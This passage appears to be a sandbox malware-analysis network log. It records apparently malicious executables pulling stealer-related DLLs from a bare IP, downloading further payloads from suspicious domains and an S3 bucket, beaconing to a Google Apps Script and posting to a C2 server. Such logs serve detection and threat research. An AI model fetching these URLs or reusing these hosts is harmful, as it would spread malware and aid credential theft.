                                                                                                                                                                                                                                          http://188.34.200.103/mozglue.dll
                                                                                                                                                                                                                                          eQZ3Lk9N1DfBVb17awS4tAvF.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.34.200.103:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /mozglue.dll HTTP/1.1
                                                                                                                                                                                                                                          Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                          Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                          Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                          Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                          Host: 188.34.200.103
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                          Content-Length: 137168
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Last-Modified: Wed, 14 Nov 2018 15:53:50 GMT
                                                                                                                                                                                                                                          ETag: "217d0-57aa1f0b0df80"
                                                                                                                                                                                                                                          Expires: Sun, 22 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Cache-Control: max-age=86400
                                                                                                                                                                                                                                          X-Cache-Status: EXPIRED
                                                                                                                                                                                                                                          X-Cache-Status: HIT
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://188.34.200.103/msvcp140.dll
                                                                                                                                                                                                                                          eQZ3Lk9N1DfBVb17awS4tAvF.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.34.200.103:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /msvcp140.dll HTTP/1.1
                                                                                                                                                                                                                                          Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                          Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                          Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                          Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                          Host: 188.34.200.103
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                          Content-Length: 440120
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Last-Modified: Wed, 14 Nov 2018 15:53:50 GMT
                                                                                                                                                                                                                                          ETag: "6b738-57aa1f0b0df80"
                                                                                                                                                                                                                                          Expires: Sun, 22 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Cache-Control: max-age=86400
                                                                                                                                                                                                                                          X-Cache-Status: EXPIRED
                                                                                                                                                                                                                                          X-Cache-Status: HIT
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://188.34.200.103/nss3.dll
                                                                                                                                                                                                                                          eQZ3Lk9N1DfBVb17awS4tAvF.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.34.200.103:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /nss3.dll HTTP/1.1
                                                                                                                                                                                                                                          Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                          Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                          Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                          Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                          Host: 188.34.200.103
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                          Content-Length: 1246160
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Last-Modified: Wed, 14 Nov 2018 15:53:50 GMT
                                                                                                                                                                                                                                          ETag: "1303d0-57aa1f0b0df80"
                                                                                                                                                                                                                                          Expires: Sun, 22 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Cache-Control: max-age=86400
                                                                                                                                                                                                                                          X-Cache-Status: HIT
                                                                                                                                                                                                                                          X-Cache-Status: HIT
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://188.34.200.103/softokn3.dll
                                                                                                                                                                                                                                          eQZ3Lk9N1DfBVb17awS4tAvF.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.34.200.103:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /softokn3.dll HTTP/1.1
                                                                                                                                                                                                                                          Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                          Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                          Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                          Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                          Host: 188.34.200.103
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:30 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                          Content-Length: 144848
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Last-Modified: Wed, 14 Nov 2018 15:53:50 GMT
                                                                                                                                                                                                                                          ETag: "235d0-57aa1f0b0df80"
                                                                                                                                                                                                                                          Expires: Sun, 22 Aug 2021 10:25:30 GMT
                                                                                                                                                                                                                                          Cache-Control: max-age=86400
                                                                                                                                                                                                                                          X-Cache-Status: EXPIRED
                                                                                                                                                                                                                                          X-Cache-Status: HIT
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://188.34.200.103/vcruntime140.dll
                                                                                                                                                                                                                                          eQZ3Lk9N1DfBVb17awS4tAvF.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.34.200.103:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /vcruntime140.dll HTTP/1.1
                                                                                                                                                                                                                                          Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                          Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                          Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                          Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                          Host: 188.34.200.103
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:30 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                          Content-Length: 83784
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Last-Modified: Wed, 14 Nov 2018 15:53:50 GMT
                                                                                                                                                                                                                                          ETag: "14748-57aa1f0b0df80"
                                                                                                                                                                                                                                          Expires: Sun, 22 Aug 2021 10:25:30 GMT
                                                                                                                                                                                                                                          Cache-Control: max-age=86400
                                                                                                                                                                                                                                          X-Cache-Status: EXPIRED
                                                                                                                                                                                                                                          X-Cache-Status: HIT
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://fsstoragecloudservice.com/campaign1/autosubplayer.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          111.90.156.58:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /campaign1/autosubplayer.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: fsstoragecloudservice.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://bb.goatggame.com/userf/2201/57482a8d5afd71ead774543ddd55b203.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.67.161.96:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/2201/57482a8d5afd71ead774543ddd55b203.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Host: bb.goatggame.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          content-disposition: attachment; filename="wangzq-game.exe"
                                                                                                                                                                                                                                          content-transfer-encoding: binary
                                                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: max-age=14400
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Age: 542
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:16:26 GMT
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8Ucl7O0Md4IwkYYv9uTJiUsDZuZWutqP9wXlau08eRrgtwhkDPK9PmOr13nPORC7ELreDm7O7wvL%2Ff6FQ%2BQcU%2F49WdwWiKvQ2ahufKOQMe6YAKPrniXUhaJchh975ia55saH"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823285649af0b4f-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          crl.globalsign.com
                                                                                                                                                                                                                                          Cleaner Installation.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          crl.globalsign.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          crl.globalsign.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          global.prd.cdn.globalsign.com
                                                                                                                                                                                                                                          global.prd.cdn.globalsign.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          cdn.globalsigncdn.com.cdn.cloudflare.net
                                                                                                                                                                                                                                          cdn.globalsigncdn.com.cdn.cloudflare.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.18.21.226
                                                                                                                                                                                                                                          cdn.globalsigncdn.com.cdn.cloudflare.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.18.20.226
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://crl.globalsign.com/codesigningrootr45.crl
                                                                                                                                                                                                                                          Cleaner Installation.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.18.21.226:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /codesigningrootr45.crl HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Microsoft-CryptoAPI/10.0
                                                                                                                                                                                                                                          Host: crl.globalsign.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:30 GMT
                                                                                                                                                                                                                                          Content-Type: application/pkix-crl
                                                                                                                                                                                                                                          Content-Length: 721
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Last-Modified: Wed, 07 Jul 2021 00:00:00 GMT
                                                                                                                                                                                                                                          ETag: 06
                                                                                                                                                                                                                                          Expires: Fri, 15 Oct 2021 00:00:00 GMT
                                                                                                                                                                                                                                          Cache-Control: public, no-transform, must-revalidate, s-maxage=3600
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Age: 2889
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682328669975d45b-HAM
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://crl.globalsign.com/gsgccr45evcodesignca2020.crl
                                                                                                                                                                                                                                          Cleaner Installation.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.18.21.226:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /gsgccr45evcodesignca2020.crl HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Microsoft-CryptoAPI/10.0
                                                                                                                                                                                                                                          Host: crl.globalsign.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:34 GMT
                                                                                                                                                                                                                                          Content-Type: application/pkix-crl
                                                                                                                                                                                                                                          Content-Length: 1258
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 06:32:10 GMT
                                                                                                                                                                                                                                          ETag: 080C
                                                                                                                                                                                                                                          Expires: Sat, 28 Aug 2021 06:32:10 GMT
                                                                                                                                                                                                                                          Cache-Control: public, no-transform, must-revalidate, s-maxage=3600
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Age: 2865
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823287c3e63d45b-HAM
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com/offer/GameBox.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          52.219.156.26:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /offer/GameBox.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          x-amz-id-2: cmrpn+Lu9RQNhNiaBp7x6bvfMuk5fhFrQoa8YYH7mlXyCXGMhWLFUAcYPJ3jxqWJVKeJeX8CklE=
                                                                                                                                                                                                                                          x-amz-request-id: CM1P0B1DAS9K9MVE
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:32 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 10:28:02 GMT
                                                                                                                                                                                                                                          ETag: "58f5dca577a49a38ea439b3dc7b5f8d6"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Type: application/x-msdownload
                                                                                                                                                                                                                                          Server: AmazonS3
                                                                                                                                                                                                                                          Content-Length: 390772
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          www.iyiqian.com
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          www.iyiqian.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          www.iyiqian.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          103.155.92.58
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://www.iyiqian.com/
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          103.155.92.58:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET / HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
                                                                                                                                                                                                                                          Host: www.iyiqian.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:35 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Content-Length: 14
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          www.mhmvcy.xyz
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          www.mhmvcy.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          www.mhmvcy.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          188.225.87.175
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://www.mhmvcy.xyz/Home/Index/lkdinl
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.225.87.175:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /Home/Index/lkdinl HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded;charset=utf-8
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
                                                                                                                                                                                                                                          Host: www.mhmvcy.xyz
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:37 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Content-Length: 0
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=10q4n8c53bgiugnrvti7m9b975; path=/
                                                                                                                                                                                                                                          Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                          Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=NL&app=WEATHER_Manager&payoutcents=0.06&ver=5
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.217.17.78:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=NL&app=WEATHER_Manager&payoutcents=0.06&ver=5 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.google.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:48 GMT
                                                                                                                                                                                                                                          Referrer-Policy: origin
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Set-Cookie: S=maestro=P1XWR0neq8K5erKRw8gywEh5lPwh-yF47WG_GFa_ADs; Domain=.google.com; Path=/; Secure; HttpOnly; Priority=LOW
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          bestinternetstore.xyz
                                                                                                                                                                                                                                          2571189.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          bestinternetstore.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          bestinternetstore.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.35.173
                                                                                                                                                                                                                                          bestinternetstore.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.178.16
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=NL&app=Inlog&payoutcents=0.06&ver=23.5.2
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.217.17.78:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=NL&app=Inlog&payoutcents=0.06&ver=23.5.2 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.google.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:53 GMT
                                                                                                                                                                                                                                          Referrer-Policy: origin
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Set-Cookie: S=maestro=CgQ6sGX4zpbSCBr-Qz21nLeCUciJ3jqOZb2Qy21scoc; Domain=.google.com; Path=/; Secure; HttpOnly; Priority=LOW
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://185.204.109.146:54891/
                                                                                                                                                                                                                                          A23Ayg6MlA2S8O5cSFSG5DpC.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          185.204.109.146:54891
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 185.204.109.146:54891
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:06 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://185.204.109.146:54891/
                                                                                                                                                                                                                                          A23Ayg6MlA2S8O5cSFSG5DpC.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          185.204.109.146:54891
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
